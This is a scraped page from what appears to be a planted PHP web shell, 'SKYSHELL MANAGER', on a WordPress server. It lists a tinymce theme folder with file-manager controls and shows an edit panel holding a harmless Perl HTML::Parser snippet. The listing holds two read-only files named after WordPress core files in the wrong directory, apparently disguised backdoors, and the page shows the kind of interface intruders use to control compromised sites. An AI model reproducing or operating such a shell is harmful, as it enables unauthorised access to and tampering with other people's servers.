📁
ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: hbody
#!/usr/bin/perl use strict; use warnings; use HTML::Parser (); my $doc = <<'EOT'; <!-- This is not where <BODY> starts --> <title>foo</title> <script language="Perl" description="Print out <BODY>"> open(BODY, "body.txt"); while (<BODY>) { print; } </script> <!-- The next thing will be <BODY> the body --> <Body> Howdy! </body> EOT my $body_offset; HTML::Parser->new( start_h => [ sub { return unless shift eq "body"; $body_offset = shift; shift->eof; # tell the parser to stop }, "tagname,offset,self" ] )->parse($doc); die "No <body> found" unless defined $body_offset; my $head = substr($doc, 0, $body_offset, ""); print $doc;
Save